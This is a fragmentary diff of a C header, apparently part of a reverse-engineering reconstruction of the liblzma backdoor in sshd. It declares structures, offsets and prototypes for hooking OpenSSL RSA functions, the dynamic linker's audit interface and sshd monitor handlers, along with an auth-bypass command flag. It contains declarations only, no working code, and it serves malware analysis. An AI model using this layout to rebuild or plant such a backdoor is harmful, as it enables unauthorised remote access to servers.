- 1108 void (*mm_log_handler)(
int level,
int forced,
const char *msg,
void *ctx);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1123 u8 sshbuf_data_qword_index;
- 1124 u8 sshbuf_size_qword_index;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1163 struct monitor **struct_monitor_ptr_address;
-
-
-
-
-
-
-
-
-
-
-
-
- 1200 u64 sock_read_buf_size;
- 1201 u8 sock_read_buf[64];
- 1202 u64 payload_data_size;
-
-
-
-
- 1207 u32 sshd_host_pubkey_idx;
-
- 1212 u8 secret_data[ED448_KEY_SIZE];
- 1218 u8 shift_operations[31];
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1263 pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
-
-
-
-
-
-
-
+ 537 #define CONCAT(x, y) x ## y
+ 538 #define EXPAND(x, y) CONCAT(x, y)
+ 539 #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
+
+
+
+
+
+ 545 #define PERMIT_NOT_SET -1
+
+ 547 #define PERMIT_FORCED_ONLY 1
+ 548 #define PERMIT_NO_PASSWD 2
+
+
+
+
+
+
+
+
+
+
+
+
+ 567 struct sshkey **host_keys;
+ 568 struct sshkey **host_pubkeys;
+ 569 struct sshkey **host_certificates;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 599 struct sshbuf *sk_key_handle;
+ 600 struct sshbuf *sk_reserved;
+
+ 602 struct sshkey_cert *cert;
+
+ 604 u8 *shielded_private;
+
+
+ 607 size_t shield_prekey_len;
+
+
+ 610 typedef struct __attribute__((packed))
got_ctx {
+
+
+
+
+
+
+
+ 634 assert_offset(
got_ctx_t, return_address, 0x8);
+ 635 assert_offset(
got_ctx_t, cpuid_fn, 0x10);
+ 636 assert_offset(
got_ctx_t, got_offset, 0x18);
+ 637 static_assert(
sizeof(
got_ctx_t) == 0x20);
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 658 u64 instruction_size;
+
+ 660 struct __attribute__((packed)) {
+
+
+
+
+
+
+
+
+
+
+
+
+ 679 struct __attribute__((packed)) {
+
+
+
+
+
+
+
+
+
+
+
+ 691 struct __attribute__((packed)) {
+
+ 693 struct __attribute__((packed)) {
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 708 u64 operand_zeroextended;
+
+
+
+
+
+
+ 715 assert_offset(
dasm_ctx_t, instruction_size, 8);
+
+
+ 718 assert_offset(
dasm_ctx_t, lock_rep_byte, 0x14);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 738 assert_offset(
dasm_ctx_t, operand_zeroextended, 0x40);
+ 739 assert_offset(
dasm_ctx_t, operand_size, 0x48);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 806 Elf64_Versym *versym;
+ 807 Elf64_Rela *rela_relocs;
+
+
+ 810 Elf64_Relr *relr_relocs;
+
+
+
+
+
+ 824 u64 rodata_segment_start;
+ 825 u64 rodata_segment_size;
+ 826 u64 data_segment_start;
+ 827 u64 data_segment_size;
+ 828 u64 data_segment_alignment;
+
+
+
+
+
+ 840 u32 gnu_hash_bloom_shift;
+
+
+ 843 u32 *gnu_hash_buckets;
+
+
+
+
+
+
+
+
+ 852 assert_offset(
elf_info_t, dyn_num_entries, 0x28);
+
+
+
+ 856 assert_offset(
elf_info_t, plt_relocs_num, 0x48);
+ 857 assert_offset(
elf_info_t, gnurelro_found, 0x4C);
+ 858 assert_offset(
elf_info_t, gnurelro_vaddr, 0x50);
+ 859 assert_offset(
elf_info_t, gnurelro_memsize, 0x58);
+
+
+
+
+ 864 assert_offset(
elf_info_t, rela_relocs_num, 0x80);
+
+ 866 assert_offset(
elf_info_t, relr_relocs_num, 0x90);
+ 867 assert_offset(
elf_info_t, code_segment_start, 0x98);
+ 868 assert_offset(
elf_info_t, code_segment_size, 0xA0);
+ 869 assert_offset(
elf_info_t, rodata_segment_start, 0xA8);
+ 870 assert_offset(
elf_info_t, rodata_segment_size, 0xB0);
+ 871 assert_offset(
elf_info_t, data_segment_start, 0xB8);
+ 872 assert_offset(
elf_info_t, data_segment_size, 0xC0);
+ 873 assert_offset(
elf_info_t, data_segment_alignment, 0xC8);
+
+ 875 assert_offset(
elf_info_t, gnu_hash_nbuckets, 0xd8);
+ 876 assert_offset(
elf_info_t, gnu_hash_last_bloom, 0xdc);
+ 877 assert_offset(
elf_info_t, gnu_hash_bloom_shift, 0xe0);
+ 878 assert_offset(
elf_info_t, gnu_hash_bloom, 0xe8);
+ 879 assert_offset(
elf_info_t, gnu_hash_buckets, 0xf0);
+ 880 assert_offset(
elf_info_t, gnu_hash_chain, 0xf8);
+
+
+
+ 884 u32 resolved_imports_count;
+
+ 886 size_t (*malloc_usable_size)(
void *ptr);
+ 887 uid_t (*getuid)(void);
+ 888 void (*exit)(
int status);
+ 889 int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
+ 890 int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
+ 891 int (*system)(
const char *command);
+ 892 ssize_t (*write)(
int fd,
const void *buf,
size_t count);
+
+ 894 int nfds, fd_set *readfds, fd_set *writefds,
+ 895 fd_set *exceptfds,
const struct timespec *timeout,
+ 896 const sigset_t *sigmask);
+ 897 ssize_t (*read)(
int fd,
void *buf,
size_t count);
+ 898 int *(*__errno_location)(void);
+ 899 int (*setlogmask)(
int mask);
+ 900 int (*shutdown)(
int sockfd,
int how);
+ 901 void *__libc_stack_end;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 919 typedef int (*pfn_RSA_public_decrypt_t)(
+ 920 int flen,
unsigned char *from,
unsigned char *to,
+ 921 RSA *rsa,
int padding);
+ 922 typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey,
struct rsa_st *key);
+ 923 typedef void (*pfn_RSA_get0_key_t)(
+
+ 925 const BIGNUM **n,
const BIGNUM **e,
const BIGNUM **d);
+
+
+
+ 929 pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
+
+ 931 void (*RSA_get0_key_null)(
+ 932 const RSA *r,
const BIGNUM **n,
+ 933 const BIGNUM **e,
const BIGNUM **d);
+
+
+
+ 949 void (*DSA_get0_pqg)(
+ 950 const DSA *d,
const BIGNUM **p,
+ 951 const BIGNUM **q,
const BIGNUM **g);
+ 952 const BIGNUM *(*DSA_get0_pub_key)(
const DSA *d);
+ 953 size_t (*EC_POINT_point2oct)(
+ 954 const EC_GROUP *group,
const EC_POINT *p,
+ 955 point_conversion_form_t form,
unsigned char *buf,
+ 956 size_t len, BN_CTX *ctx);
+ 957 EC_POINT *(*EC_KEY_get0_public_key)(
const EC_KEY *key);
+ 958 const EC_GROUP *(*EC_KEY_get0_group)(
const EC_KEY *key);
+ 959 EVP_MD *(*EVP_sha256)(void);
+ 960 pfn_RSA_get0_key_t RSA_get0_key;
+ 961 int (*BN_num_bits)(
const BIGNUM *a);
+ 962 EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
+
+ 964 const unsigned char *key,
size_t keylen);
+ 965 EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
+ 966 int (*EVP_DigestVerifyInit)(
+ 967 EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
+ 968 const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
+ 969 int (*EVP_DigestVerify)(
+ 970 EVP_MD_CTX *ctx,
const unsigned char *sig,
+ 971 size_t siglen,
const unsigned char *tbs,
size_t tbslen);
+ 972 void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
+ 973 void (*EVP_PKEY_free)(EVP_PKEY *key);
+ 974 EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
+ 975 int (*EVP_DecryptInit_ex)(
+ 976 EVP_CIPHER_CTX *ctx,
const EVP_CIPHER *type,
+ 977 ENGINE *impl,
const unsigned char *key,
const unsigned char *iv);
+ 978 int (*EVP_DecryptUpdate)(
+ 979 EVP_CIPHER_CTX *ctx,
unsigned char *out,
+ 980 int *outl,
const unsigned char *in,
int inl);
+ 981 int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx,
unsigned char *outm,
int *outl);
+ 982 void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
+ 983 const EVP_CIPHER *(*EVP_chacha20)(void);
+ 984 RSA *(*RSA_new)(void);
+ 985 BIGNUM *(*BN_dup)(
const BIGNUM *from);
+ 986 BIGNUM (*BN_bin2bn)(
const unsigned char *s,
int len, BIGNUM *ret);
+ 987 int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
+
+ 989 const void *data,
size_t count,
unsigned char *md,
+ 990 unsigned int *size,
const EVP_MD *type, ENGINE *impl);
+
+
+ 993 const unsigned char *m,
unsigned int m_len,
+ 994 unsigned char *sigret,
unsigned int *siglen, RSA *rsa);
+ 995 int (*BN_bn2bin)(
const BIGNUM *a,
unsigned char *to);
+ 996 void (*RSA_free)(RSA *rsa);
+ 997 void (*BN_free)(BIGNUM *a);
+
+ 999 u64 resolved_imports_count;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1044 typedef int (*sshd_monitor_func_t)(
struct ssh *ssh,
int sock,
struct sshbuf *m);
+
+
+ 1047 BOOL have_mm_answer_keyallowed;
+ 1048 BOOL have_mm_answer_authpassword;
+ 1049 BOOL have_mm_answer_keyverify;
+
+
+
+
+ 1054 void *mm_answer_keyverify;
+ 1055 void *mm_answer_authpassword_start;
+ 1056 void *mm_answer_authpassword_end;
+ 1057 sshd_monitor_func_t *mm_answer_authpassword_ptr;
+ 1058 int monitor_reqtype_authpassword;
+
+ 1060 void *mm_answer_keyallowed_start;
+ 1061 void *mm_answer_keyallowed_end;
+ 1062 void *mm_answer_keyallowed_ptr;
+ 1063 PADDING(
sizeof(
void *));
+ 1064 void *mm_answer_keyverify_start;
+ 1065 void *mm_answer_keyverify_end;
+ 1066 void *mm_answer_keyverify_ptr;
+
+
+
+
+
+
+ 1073 char *STR_unknown_ptr;
+ 1074 void *mm_request_send_start;
+ 1075 void *mm_request_send_end;
+ 1076 PADDING(
sizeof(u32));
+ 1077 PADDING(
sizeof(u32));
+
+ 1079 int *permit_root_login_ptr;
+ 1080 char *STR_without_password;
+ 1081 char *STR_publickey;
+
+
+ 1084 assert_offset(
sshd_ctx_t, have_mm_answer_keyallowed, 0x0);
+ 1085 assert_offset(
sshd_ctx_t, have_mm_answer_authpassword, 0x4);
+ 1086 assert_offset(
sshd_ctx_t, have_mm_answer_keyverify, 0x8);
+
+ 1088 assert_offset(
sshd_ctx_t, mm_answer_keyverify, 0x20);
+ 1089 assert_offset(
sshd_ctx_t, mm_answer_authpassword_start, 0x28);
+ 1090 assert_offset(
sshd_ctx_t, mm_answer_authpassword_end, 0x30);
+ 1091 assert_offset(
sshd_ctx_t, mm_answer_authpassword_ptr, 0x38);
+ 1092 assert_offset(
sshd_ctx_t, monitor_reqtype_authpassword, 0x40);
+ 1093 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
+ 1094 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
+ 1095 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58);
+ 1096 assert_offset(
sshd_ctx_t, mm_answer_keyverify_start, 0x68);
+ 1097 assert_offset(
sshd_ctx_t, mm_answer_keyverify_end, 0x70);
+ 1098 assert_offset(
sshd_ctx_t, mm_answer_keyverify_ptr, 0x78);
+ 1099 assert_offset(
sshd_ctx_t, writebuf_size, 0x84);
+
+ 1101 assert_offset(
sshd_ctx_t, STR_unknown_ptr, 0xA0);
+ 1102 assert_offset(
sshd_ctx_t, mm_request_send_start, 0xA8);
+ 1103 assert_offset(
sshd_ctx_t, mm_request_send_end, 0xB0);
+ 1104 assert_offset(
sshd_ctx_t, use_pam_ptr, 0xC0);
+ 1105 assert_offset(
sshd_ctx_t, permit_root_login_ptr, 0xC8);
+ 1106 assert_offset(
sshd_ctx_t, STR_without_password, 0xD0);
+ 1107 assert_offset(
sshd_ctx_t, STR_publickey, 0xD8);
+
+
+
+
+ 1112 char *STR_percent_s;
+ 1113 char *STR_Connection_closed_by;
+
+ 1115 char *STR_authenticating;
+
+
+
+
+
+
+ 1122 void (*mm_log_handler)(
int level,
int forced,
const char *msg,
void *ctx);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1137 u8 sshbuf_data_qword_index;
+ 1138 u8 sshbuf_size_qword_index;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1177 struct monitor **struct_monitor_ptr_address;
+
+
+
+
+
+
+
+
+
+
+
+
+ 1214 u64 sock_read_buf_size;
+ 1215 u8 sock_read_buf[64];
+ 1216 u64 payload_data_size;
+
+
+
+
+ 1221 u32 sshd_host_pubkey_idx;
+
+ 1226 u8 secret_data[ED448_KEY_SIZE];
+ 1232 u8 shift_operations[31];
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1364 void (*_dl_audit_symbind_alt)(
struct link_map *l,
const ElfW(Sym) *ref,
void **value, lookup_t result);
-
- 1374 pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
- 1380 pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
- 1385 pfn_RSA_get0_key_t hook_RSA_get0_key;
-
- 1387 u64 hooks_installed;
-
-
- 1390 assert_offset(
ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40);
- 1391 assert_offset(
ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48);
- 1392 assert_offset(
ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50);
- 1393 assert_offset(
ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58);
- 1394 assert_offset(
ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
- 1395 assert_offset(
ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
- 1396 assert_offset(
ldso_ctx_t, _dl_audit_ptr, 0x70);
- 1397 assert_offset(
ldso_ctx_t, _dl_naudit_ptr, 0x78);
- 1398 assert_offset(
ldso_ctx_t, hooked_audit_ifaces, 0x80);
-
- 1400 assert_offset(
ldso_ctx_t, libcrypto_l_name, 0xF8);
- 1401 assert_offset(
ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
- 1402 assert_offset(
ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
- 1403 assert_offset(
ldso_ctx_t, hook_RSA_public_decrypt, 0x110);
- 1404 assert_offset(
ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
- 1405 assert_offset(
ldso_ctx_t, hook_RSA_get0_key, 0x120);
-
- 1407 assert_offset(
ldso_ctx_t, hooks_installed, 0x130);
-
-
-
-
-
-
-
-
-
-
- 1418 u64 signed_data_size;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1437 SYSLOG_LEVEL_VERBOSE,
- 1438 SYSLOG_LEVEL_DEBUG1,
- 1439 SYSLOG_LEVEL_DEBUG2,
- 1440 SYSLOG_LEVEL_DEBUG3,
- 1441 SYSLOG_LEVEL_NOT_SET = -1
-
- 1443 typedef void (*log_handler_fn)(
-
-
-
-
-
-
-
-
-
- 1453 uintptr_t (*symbind64)(
- 1454 Elf64_Sym *sym,
unsigned int ndx,
- 1455 uptr *refcook, uptr *defcook,
- 1456 unsigned int flags,
const char *symname);
- 1457 pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
- 1458 pfn_RSA_get0_key_t hook_RSA_get0_key;
- 1459 log_handler_fn mm_log_handler;
- 1460 PADDING(
sizeof(
void *));
- 1461 PADDING(
sizeof(
void *));
- 1462 sshd_monitor_func_t mm_answer_keyallowed;
- 1463 sshd_monitor_func_t mm_answer_keyverify;
- 1464 PADDING(
sizeof(
void *));
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1520 Elf64_Ehdr *dynamic_linker_ehdr;
- 1521 void **__libc_stack_end;
-
-
-
- 1525 assert_offset(
main_elf_t, dynamic_linker_ehdr, 0x8);
- 1526 assert_offset(
main_elf_t, __libc_stack_end, 0x10);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+ 1277 pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1378 void (*_dl_audit_symbind_alt)(
struct link_map *l,
const ElfW(Sym) *ref,
void **value, lookup_t result);
+
+ 1388 pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
+ 1394 pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
+ 1399 pfn_RSA_get0_key_t hook_RSA_get0_key;
+
+ 1401 u64 hooks_installed;
+
+
+ 1404 assert_offset(
ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40);
+ 1405 assert_offset(
ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48);
+ 1406 assert_offset(
ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50);
+ 1407 assert_offset(
ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58);
+ 1408 assert_offset(
ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
+ 1409 assert_offset(
ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
+ 1410 assert_offset(
ldso_ctx_t, _dl_audit_ptr, 0x70);
+ 1411 assert_offset(
ldso_ctx_t, _dl_naudit_ptr, 0x78);
+ 1412 assert_offset(
ldso_ctx_t, hooked_audit_ifaces, 0x80);
+
+ 1414 assert_offset(
ldso_ctx_t, libcrypto_l_name, 0xF8);
+ 1415 assert_offset(
ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
+ 1416 assert_offset(
ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
+ 1417 assert_offset(
ldso_ctx_t, hook_RSA_public_decrypt, 0x110);
+ 1418 assert_offset(
ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
+ 1419 assert_offset(
ldso_ctx_t, hook_RSA_get0_key, 0x120);
+
+ 1421 assert_offset(
ldso_ctx_t, hooks_installed, 0x130);
+
+
+
+
+
+
+
+
+
+
+ 1432 u64 signed_data_size;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1451 SYSLOG_LEVEL_VERBOSE,
+ 1452 SYSLOG_LEVEL_DEBUG1,
+ 1453 SYSLOG_LEVEL_DEBUG2,
+ 1454 SYSLOG_LEVEL_DEBUG3,
+ 1455 SYSLOG_LEVEL_NOT_SET = -1
+
+ 1457 typedef void (*log_handler_fn)(
+
+
+
+
+
+
+
+
+
+ 1467 uintptr_t (*symbind64)(
+ 1468 Elf64_Sym *sym,
unsigned int ndx,
+ 1469 uptr *refcook, uptr *defcook,
+ 1470 unsigned int flags,
const char *symname);
+ 1471 pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
+ 1472 pfn_RSA_get0_key_t hook_RSA_get0_key;
+ 1473 log_handler_fn mm_log_handler;
+ 1474 PADDING(
sizeof(
void *));
+ 1475 PADDING(
sizeof(
void *));
+ 1476 sshd_monitor_func_t mm_answer_keyallowed;
+ 1477 sshd_monitor_func_t mm_answer_keyverify;
+ 1478 PADDING(
sizeof(
void *));
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1534 Elf64_Ehdr *dynamic_linker_ehdr;
+ 1535 void **__libc_stack_end;
+
+
+
+ 1539 assert_offset(
main_elf_t, dynamic_linker_ehdr, 0x8);
+ 1540 assert_offset(
main_elf_t, __libc_stack_end, 0x10);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
-
- 1591 struct link_map *liblzma_map;
- 1592 struct link_map *libcrypto_map;
- 1593 struct link_map *libsystemd_map;
- 1594 struct link_map *libc_map;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1706 u32 operation_index;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1729 typedef union __attribute__((packed)) {
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1605 struct link_map *liblzma_map;
+ 1606 struct link_map *libcrypto_map;
+ 1607 struct link_map *libsystemd_map;
+ 1608 struct link_map *libc_map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1720 u32 operation_index;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1743 typedef union __attribute__((packed)) {
+
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1797 CMDF_AUTH_BYPASS = 0x4,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1844 u8 decrypted_secret_data[57];
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1811 CMDF_AUTH_BYPASS = 0x4,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
-
- 1851 assert_offset(
key_ctx_t, payload, 0x15);
- 1852 static_assert(
sizeof(
key_ctx_t) == 0x2B8);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1900 PADDING(
sizeof(u64));
-
- 1907 PADDING(
sizeof(u64));
- 1908 PADDING(
sizeof(u64));
-
- 1915 PADDING(
sizeof(u64));
-
-
-
-
-
-
-
-
-
- 1930 PADDING(
sizeof(u64));
- 1931 lzma_allocator allocator;
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1961 u8 *output_register;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1986 const BIGNUM *rsa_n;
- 1987 const BIGNUM *rsa_e;
-
- 1989 u16 payload_body_size;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2113 BOOL is_64bit_operand,
-
-
-
-
-
-
-
- 2136 BOOL is_64bit_operand,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+ 1858 u8 decrypted_secret_data[57];
+
+
+
+
+
+
+ 1865 assert_offset(
key_ctx_t, payload, 0x15);
+ 1866 static_assert(
sizeof(
key_ctx_t) == 0x2B8);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1914 PADDING(
sizeof(u64));
+
+ 1921 PADDING(
sizeof(u64));
+ 1922 PADDING(
sizeof(u64));
+
+ 1929 PADDING(
sizeof(u64));
+
+
+
+
+
+
+
+
+
+ 1944 PADDING(
sizeof(u64));
+ 1945 lzma_allocator allocator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1975 u8 *output_register;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2000 const BIGNUM *rsa_n;
+ 2001 const BIGNUM *rsa_e;
+
+ 2003 u16 payload_body_size;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2127 BOOL is_64bit_operand,
+
+
+
+
+
+
+
+ 2150 BOOL is_64bit_operand,
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
- 2202 EncodedStringId encoded_string_id,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2256 FuncFindType find_mode);
-
-
-
-
-
-
-
-
-
- 2306 extern char *check_argument(
char arg_first_char,
char* arg_name);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2419 EncodedStringId encoded_string_id);
-
-
-
-
-
-
- 2453 StringXrefId xref_id,
- 2454 void **pOutCodeStart,
void **pOutCodeEnd,
-
-
-
-
-
-
- 2473 EncodedStringId *stringId_inOut,
- 2474 void *rodata_start_ptr);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2544 unsigned shift_count, BOOL start_from_call);
-
-
-
- 2558 unsigned operation_index,
- 2559 unsigned shift_count,
- 2560 int index, u8 *code);
-
-
-
-
-
-
-
-
-
- 2588 unsigned shift_count,
unsigned operation_index);
-
-
- 2633 u8 *call_site, u8 *code,
-
- 2635 unsigned shift_count,
unsigned operation_index);
-
-
-
- 2650 unsigned shift_count,
unsigned operation_index,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2769 struct link_map *libc,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2846 extern EncodedStringId
get_string_id(
const char *string_begin,
const char *string_end);
-
- 2887 extern unsigned int _get_cpuid_modified(
unsigned int leaf,
unsigned int *eax,
unsigned int *ebx,
unsigned int *ecx,
unsigned int *edx, u64 *caller_frame);
-
- 2900 extern void _cpuid_gcc(
unsigned int level,
unsigned int *a,
unsigned int *b,
unsigned int *c,
unsigned int *d);
-
-
+
+
+
+
+
+
+
+
+ 2216 EncodedStringId encoded_string_id,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2270 FuncFindType find_mode);
+
+
+
+
+
+
+
+
+
+
+
+ 2329 extern char *check_argument(
char arg_first_char,
char* arg_name);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2442 EncodedStringId encoded_string_id);
+
+
+
+
+
+
+ 2476 StringXrefId xref_id,
+ 2477 void **pOutCodeStart,
void **pOutCodeEnd,
+
+
+
+
+
+
+ 2496 EncodedStringId *stringId_inOut,
+ 2497 void *rodata_start_ptr);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2567 unsigned shift_count, BOOL start_from_call);
+
+
+
+ 2581 unsigned operation_index,
+ 2582 unsigned shift_count,
+ 2583 int index, u8 *code);
+
+
+
+
+
+
+
+
+
+ 2611 unsigned shift_count,
unsigned operation_index);
+
+
+ 2656 u8 *call_site, u8 *code,
+
+ 2658 unsigned shift_count,
unsigned operation_index);
+
+
+
+ 2673 unsigned shift_count,
unsigned operation_index,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2792 struct link_map *libc,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2869 extern EncodedStringId
get_string_id(
const char *string_begin,
const char *string_end);
+
+ 2910 extern unsigned int _get_cpuid_modified(
unsigned int leaf,
unsigned int *eax,
unsigned int *ebx,
unsigned int *ecx,
unsigned int *edx, u64 *caller_frame);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2972 uptr *refcook, uptr *defcook,
-
- 2974 const char *symname);
-
-
-
-
-
- 3005 ptrdiff_t *libname_offset,
-
-
-
-
-
- 3033 ptrdiff_t *libname_offset,
-
-
-
-
-
-
-
-
-
-
-
- 3080 ptrdiff_t libname_offset,
-
-
-
-
-
-
-
-
-
-
-
-
-
- 3123 void **sensitive_data_out);
-
-
-
-
-
-
- 3144 void **sensitive_data_out,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 3214 u8 *buffer, u64 bufferSize,
-
-
-
-
-
-
-
-
-
-
-
-
+ 2923 extern void _cpuid_gcc(
unsigned int level,
unsigned int *a,
unsigned int *b,
unsigned int *c,
unsigned int *d);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2995 uptr *refcook, uptr *defcook,
+
+ 2997 const char *symname);
+
+
+
+
+
+ 3028 ptrdiff_t *libname_offset,
+
+
+
+
+
+ 3056 ptrdiff_t *libname_offset,
+
+
+
+
+
+
+
+
+
+
+
+ 3103 ptrdiff_t libname_offset,
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3146 void **sensitive_data_out);
+
+
+
+
+
+
+ 3167 void **sensitive_data_out,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3237 u8 *buffer, u64 bufferSize,
+
+
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 3295 u64 sshkey_digest_offset,
- 3296 u64 signed_data_size,
-
-
-
-
-
-
- 3314 BOOL skip_root_patch,
-
- 3316 BOOL replace_monitor_reqtype,
- 3317 int monitor_reqtype,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 3356 enum SocketMode socket_direction
-
-
-
-
-
-
-
-
-
-
-
- 3402 size_t *pOutPayloadSize,
-
-
-
-
- 3415 size_t payload_size,
-
-
-
-
-
